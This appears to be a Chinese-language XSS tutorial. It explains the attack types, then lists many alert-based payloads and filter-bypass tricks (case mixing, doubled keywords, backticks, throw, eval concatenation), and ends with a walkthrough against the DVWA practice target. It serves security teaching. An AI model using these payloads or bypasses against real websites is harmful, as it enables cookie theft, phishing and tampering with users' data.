一、XSS
1.简介
XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击,攻击者在网页中插入由JavaScript编写的恶意代码,当用户浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。
2.XSS的原理
- 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
- 诱使受害者打开受到攻击的服务器URL。
- 受害者在Web浏览器中打开URL,恶意脚本执行
3.XSS的攻击方式
XSS攻击可分为三种:分别为反射型(Reflected),存储型(Stored)和DOM型。
反射型xss:只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。(经后端,不经数据库)
存储型XSS:将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后,产生安全问题。(经后端和数据库)
DOM XSS:通过修改页面的DOM节点形成的XSS。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。(不经过后端,是基于文档对象模型的一种漏洞,是通过url传入参数去控制触发的)
4.XSS的危害
1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题
5.常见XSS攻击方式
1.scirpt 标签
<script> 标签用于定义客户端脚本,比如 JavaScript。
<script>alert(1);</script>
<script>alert("xss");</script>
2.img 标签
<img> 标签定义 HTML 页面中的图像。
<img src=1 οnerrοr=alert(1);>
<img src=1 οnerrοr=alert("xss");>
3.input 标签
<input> 标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生:
<input οnfοcus=alert(1);>
竞争焦点,从而触发onblur事件:
<input οnblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<input οnfοcus="alert(1);" autofocus>
" οnclick=alert(1)> 这样需要点击一下输入框<br>
" οnmοuseοver=alert(1)> 需要鼠标划过输入框<br>
4.details 标签
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:
<details οntοggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<details open οntοggle=alert(1);>
5.svg 标签
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg οnlοad=alert(1);>
6.select 标签
<select> 标签用来创建下拉列表。
<select οnfοcus=alert(1)></select
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select οnfοcus=alert(1) autofocus>
7.iframe 标签
<iframe> 标签会创建包含另外一个文档的内联框架。
<iframe οnlοad=alert(1);></iframe>
8.video 标签
<video> 标签定义视频,比如电影片段或其他视频流。
<video><source οnerrοr=alert(1)>
9.audio 标签
<audio> 标签定义声音,比如音乐或其他音频流。
<audio src=x οnerrοr=alert(1);>
10.body 标签
<body> 标签定义文档的主体。
<body οnlοad=alert(1);>
6.常见基本过滤方法
1.空格过滤
当空格被过滤了时,我们可以用 / 来代替空格:
/**/,注释符号绕过;/符号绕过;
<img/src="x"/οnerrοr=alert(1);>
2.引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
<img src=x οnerrοr=alert(`xss`);>
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
<a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1>
4.关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<sc<script>ript>alert('xss')</script>
<imimgg srsrcc=x οnerrοr=alert(1);>
5.字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
7.XSS的防御措施
- 编码:对用户输入的数据进行HTML Entity编码
- 过滤:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。
- 校正:避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签
二、DVWA靶场练习
1、反射型XSS
(1)low
1、进入靶场,找到XSS Reflected,级别调到low级别
2、查看源代码发现没有任何过滤和防护措施,可以直接上payload
3、直接插入代码 <script>alert("xss success!")</script>
(2)Medium级别
1、使用弹框payload进行XSS,发现代码输出到屏幕上,并没有执行
2、查看源代码,发现代码把<script>标签过滤了
3、大写<Script>标签进行绕过,<Script>alert("xss success!")</script>
4、成功进行XSS
5、也可以使用双写script标签的方法,绕过限制 <s<script>cript>alert("xss success!")</sc<script>ript>
(3)High
1、使用常规payload进行XSS,<script>alert("xss success!")</script>,没有成功,只显示了一个>
2、使用大小写绕过,<Script>alert("xss success!")</script>,结果一样
3、查看源代码,发现是将script标签中的字母全部替换成了空,script标签已经无法使用了
preg_replace 函数执行一个正则表达式的搜索和替换。
4、使用svg标签 <svg οnlοad=alert("xsssuccess!")>
2、存储型XSS
(1)low
1、先测试一下
2、上payload,发现第一个提交框有长度限制,把长度值改的大一些
3、继续使用payload,<script>alert("xss success!")</script>
4、成功XSS
5、测试第二个提交框是否存在xss
6、成功xss
7、从其他页面在切换到此页面的时候,仍然会弹出xss弹窗,这就是存储型的xss具有持久性,如果不清楚数据库中的代码这个xss攻击将会一直存在
(2)medium
1、正常注入xss代码,发现代码被输出
2、查看源代码,发现message字段不存在注入,而name字段只是过滤了<script>标签
3、利用大小写混淆绕过限制,或者双写script标签
<Script>alert("xss success!")</script>
<s<script>cript>alert("xss success!")</sc<script>ript>
(3)high
1、正常注入是肯定不行了,直接查看源代码,发现只能从name字段注入,而且不能使用<script>标签,这时就想着使用<iframe> <img><svg>等标签
2、使用img标签
<img src=1 οnerrοr=alert("xsssuccess")>
3、DOM型XSS
DOM(Document Object Model文档对象模型),DOM型xss是一种特殊类型的反射型xss,只不过它不用与服务端交互,它发生在客户端数据处理过程中。
(1)low
1、查看源码,发现无任何防护、过滤措施,直接在url中注入代码
2、直接上代码 <script>alert("xss success!")</script> XSS成功
(2)medium
1、直接注入js代码,没有任何反应
2、查看源代码,使用了stripos过滤<script,且不区分大小写。
3、无论是双写还是大小写都没有用了,查看一下前端代码,发现使用的是<select>和<option>标签
4、可以利用标签闭合,在接上payload来执行xss
(3)high
1、查看源码
2、使用注释绕过后端代码,不经过服务器而是直接浏览器执行注释的内容
#<script>alert("xss success!")</script>